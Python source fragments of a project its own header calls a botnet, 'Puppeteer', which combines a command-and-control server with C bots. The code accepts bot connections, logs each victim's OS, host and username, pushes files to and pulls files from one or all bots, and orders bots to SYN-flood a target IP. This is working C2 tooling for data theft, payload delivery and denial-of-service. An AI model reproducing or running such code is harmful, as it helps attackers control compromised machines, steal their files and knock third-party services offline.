def _load_animation(): """ Shows a simple loading animation """ for _ in range(65): print(to_green('/'), end='') sys.stdout.flush() sleep(0.01) print()
def receive_file(self): """ Uploads a specified file to the bot and saves it at the specified path """ source_path = input(to_yellow("[ UPLOAD ] Source path: ")) destination_path = input(to_yellow("[ UPLOAD ] Destination path: ")) if source_path == "" or destination_path == "": return if not os.path.exists(source_path): print(to_red(f"\n[ ! ] Invalid source path: {source_path}\n")) return try: with open(source_path, "rb") as file: file_size = os.path.getsize(source_path) file_size = struct.pack(">I", socket.htonl(file_size)) self.socket_fd.send(bytes("download", 'utf-8')) self.socket_fd.send(file_size) len_filename = len(destination_path) len_filename = struct.pack(">I", socket.htonl(len_filename)) self.socket_fd.send(len_filename) self.socket_fd.send(bytes(destination_path, 'utf-8')) file_data = file.read() self.socket_fd.sendall(file_data) file.close() except (FileNotFoundError, socket.error) as error: if "No such file or directory" in error: print(to_red(f"\n[ ! ] File not found: {source_path}\n")) return print(to_red(f"\n[ {self.ip_address} ] Socket error: " f"{error}\n")) return else: print(to_green(f"\n[ {self.ip_address} ] File {source_path} " f"uploaded successfully \n"))
def _download_from_all(self): """ Downloads specified file from de puppets and saves to a specified output path """ remote_file_path = input(to_yellow("[ DOWNLOAD ] Path to file: ")) local_filename = input(to_yellow("[ DOWNLOAD ] Save as: ")) if os.path.exists(local_filename): print(to_red("\n[ ! ] Invalid output path\n")) return if remote_file_path in ("", ) or remote_file_path in ("", ): return individual_percentage = 100 / len(self.__connected_puppets) total_success_percentage = 0 for puppet in self.__connected_puppets: output_file_name = f'{puppet.ip_address}' + local_filename if os.path.exists(output_file_name): print(to_red(f"\n[ ! ] File exists: {output_file_name}\n")) return puppet.socket_fd.send(bytes("upload", 'utf-8')) puppet.socket_fd.send(bytes(remote_file_path, 'utf-8')) file_size = puppet.socket_fd.recv(256) file_size = int.from_bytes(file_size, "little") file_data = puppet.recv_all(file_size) try: with open(output_file_name, "wb") as file: file.write(file_data) file.close() total_success_percentage += individual_percentage print( to_green(f"\n[ {total_success_percentage:.1f}% ] " f"{output_file_name} downloaded from " f"{puppet.ip_address}\n")) except socket.error as error: self.__database.update_puppet_status(puppet, new_status=0) self.__connected_puppets.remove(puppet) print(to_red(f"[ {puppet.ip_address} ] {error}")) return except Exception as error: print(to_red(f"\n[ ! ] Can't write to file: {error}\n")) print(to_green(f"[ Success: {total_success_percentage:.1f}% ] "))
def _list_files_for_all(self): """ Lists the files of specified path on all connected puppets """ individual_percentage = 100 / len(self.__connected_puppets) total_success_percentage = 0 directory = input(to_yellow("[ LIST FILES ] Path: ")) for puppet in self.__connected_puppets: try: puppet.socket_fd.send(bytes("list files", 'utf-8')) puppet.socket_fd.send(bytes(directory, 'utf-8')) output = puppet.socket_fd.recv(MAX_COMMAND_OUTPUT_SIZE) output = output.decode('utf-8') total_success_percentage += individual_percentage print( to_green(f"\n[ {total_success_percentage:.1f}% ]" + f"[ Output for {puppet.ip_address}:" f"{directory} ]")) print(f"{output}") except socket.error as error: self.__database.update_puppet_status(puppet, new_status=0) self.__connected_puppets.remove(puppet) print(to_red(f"[ {puppet.ip_address} ] {error}\n")) continue print(to_green(f"[ Success: {total_success_percentage:.1f}% ] "))
def _upload_to_all(self): """ Uploads a specified file to all puppets at a specified path """ source_path = input(to_yellow("[ UPLOAD ] Source path: ")) destination_path = input(to_yellow("[ UPLOAD ] Destination path: ")) if source_path == "" or destination_path == "": return if not os.path.exists(source_path): print(to_red(f"\n[ ! ] File doesn't exists: {source_path}\n")) return individual_percentage = 100 / len(self.__connected_puppets) total_success_percentage = 0 file_size = os.path.getsize(source_path) file_size = struct.pack(">I", socket.htonl(file_size)) for puppet in self.__connected_puppets: try: with open(source_path, "rb") as file: puppet.socket_fd.send(bytes("download", 'utf-8')) puppet.socket_fd.send(file_size) len_filename = len(destination_path) len_filename = struct.pack(">I", socket.htonl(len_filename)) puppet.socket_fd.send(len_filename) puppet.socket_fd.send(bytes(destination_path, 'utf-8')) file_data = file.read() puppet.socket_fd.sendall(file_data) file.close() total_success_percentage += individual_percentage print( to_green( f"\n[ {total_success_percentage:.1f}% ] " f"{source_path} uploaded to {puppet.ip_address}")) except socket.error as error: self.__database.update_puppet_status(puppet, new_status=0) self.__connected_puppets.remove(puppet) print(to_red(f"\n[ {puppet.ip_address} ] {error}\n")) return print(to_green(f"[ Success: {total_success_percentage:.1f}% ]"))
def _listen_connections_thread(self): """ The thread for listening and accepting incoming connections and adding puppets to the database """ while True: self.__socket.listen(32) client_socket, client_address = self.__socket.accept() puppet = Puppet(client_socket, client_address[0]) self._add_puppet_to_database(puppet) if puppet.id_hash not in self._get_connected_puppets_hashes(): self.__connected_puppets.append(puppet) print( to_green(f"\n[ + ] Got connection: " f"{puppet.ip_address}\n"))
def _list_connections(self): """ Lists the connected puppets """ if self.__connected_puppets: print( to_green(f"{'ACTIVE CONNECTIONS'.center(67,'=')}\n\n" f"{'ID':^6}{'IP ADDRESS':^15}" f"{'OS':^10}{'ARCH':^8}" f"{'HOST':^12}{'USER':^12}\n")) for _, puppet in enumerate(self.__connected_puppets): print(f"{_:^6}{puppet.ip_address:^15}{puppet.op_system:^10}" f"{puppet.architecture:^12}{puppet.hostname:^12}" f"{puppet.username:^12}") print() else: print(to_red("\n[ - ] There is no puppet connected\n"))
def syn_flood(self): """ Floods the specified destination IP with forged packets with a specified spoofed IP address """ try: self.socket_fd.send(bytes("syn flood", "utf-8")) # source_ip = input(to_yellow("[ SYN FLOOD ] Source IP to use: ")) # self.socket_fd.send(bytes(source_ip, "utf-8")) destination_ip = input(to_yellow("[ SYN FLOOD ] Destination IP: ")) self.socket_fd.send(bytes(destination_ip, "utf-8")) except socket.error: print(to_red(f"\n[ {self.ip_address} ] Socket error\n")) else: print(to_green(f"\n[ Flooding ] {self.ip_address}" f" -> {destination_ip}:80\n"))
def send_file(self): """ Downloads specified file from the bot and writes it to the disk at the specified path """ source_path = input(to_yellow("[ DOWNLOAD ] Path to file: ")) destination_path = input(to_yellow("[ DOWNLOAD ] Save as: ")) if source_path == "" or destination_path == "": return if os.path.exists(destination_path): print(to_red(f"\n[ ! ] File exists: {destination_path}\n")) return self.socket_fd.send(bytes("upload", 'utf-8')) self.socket_fd.send(bytes(source_path, 'utf-8')) file_size = self.socket_fd.recv(1024) buffer = int.from_bytes(file_size, "little") file_data = self.recv_all(buffer) with open(destination_path, "wb") as file: file.write(file_data) file.close() print(to_green(f"\n[ {self.ip_address} ] File {destination_path} " f"downloaded successfully\n"))
""" MIT License Copyright (c) 2021 Arthur Bryan <*****@*****.**> This program is a implementation of a botnet using Python on server (C&C) side and C on the bots side. """ import os from classes.puppeteer import Puppeteer from config import LISTEN_ADDRESS, LISTEN_PORT, DATABASE_PATH from config import to_green if __name__ == '__main__': os.system('clear') print( to_green(r""" ________ _____ ___ __ \___ ________________________ /__________________ __ /_/ / / / /__ __ \__ __ \ _ \ __/ _ \ _ \_ ___/ _ ____// /_/ /__ /_/ /_ /_/ / __/ /_ / __/ __/ / /_/ \__,_/ _ .___/_ .___/\___/\__/ \___/\___//_/ /_/ /_/ v0.2.1 """)) server = Puppeteer(LISTEN_ADDRESS, LISTEN_PORT, DATABASE_PATH) server.start()